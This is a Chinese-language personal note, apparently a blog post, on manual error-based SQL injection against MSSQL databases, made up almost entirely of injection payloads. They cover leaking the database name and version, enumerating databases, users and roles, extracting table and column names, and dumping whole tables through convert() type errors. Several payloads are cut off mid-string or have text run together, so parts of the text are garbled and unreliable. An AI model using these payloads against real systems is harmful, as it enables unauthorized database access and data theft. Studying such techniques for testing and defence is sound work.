之前搞mssql數據庫的注入都是直接跑工具,但是總是有些注入點工具一掃就崩,關鍵時候還是要手工注入,因此總結學習mssql手工注入,寫此文留作筆記。本次主要總結顯錯注入!
payload:
?Id=admin' and 1=convert(int,(sql語句)) AND 'CvNI'='CvNI
基本信息獲取
數據庫信息獲取
1=convert(int,(db_name())) #獲取當前數據庫名 1=convert(int,(@@version)) #獲取數據庫版本 1=convert(int,(select quotename(name) from master..sysdatabases FOR XML PATH(''))) #一次性獲取全部數據庫 1=convert(int,(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))) #一次性獲取全部
USER信息
and 1=(select IS_SRVROLEMEMBER('db_owner')) #查看是否爲db_owner權限、sysadmin、public (未測試成功)如果正確則正常,否則報錯 1=convert(int,(user)) #查看連接數據庫的用戶 admin' AND 1878=CONVERT(INT,(SELECT SUBSTRING((CASE WHEN(IS_SRVROLEMEMBER('db_owner')=1)THEN '1' ELSE '0' END),1,100))) AND 'iaQQ'='iaQQ #來自sqlmap 也爲測試成功。 ps:未測試成功可能是環境問題
獲取表名
獲取所有表名
1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('V_
獲取指定數據庫的表名
1=convert(int,(select top 1 quotename(name) from [數據庫名]..sysobjects where name not in('table_name1','table_name2') and xtype='U') #逐條獲取表名,將報出來的表名放入tuple 1=convert(int,(select quotename(name) from [數據庫名]..sysobjects where xtype='U' FOR XML PATH(''))) #一次性獲取表名,如果表很多的話會失敗。 1=convert(int,(select top 1 table_name from information_schema.tables where table_catalog=[數據庫名table_catalog=[數據庫名
獲取列名
獲取注入點的表中的列名
having 1=1 -- group by column_name1,column_name2 having 1=1--
獲取任意表中的列名
1=convert(int,(select quotename(name) from [數據庫名]..syscolumns where id =(select id from [數據庫
爆數據
1=(select top 1 * from [數據庫名]..[表名] FOR XML PATH(‘’))
https://www.cnblogs.com/beyond1983/archive/2013/04/16/3023707.html可以看看這篇文章,有助於學習(轉載)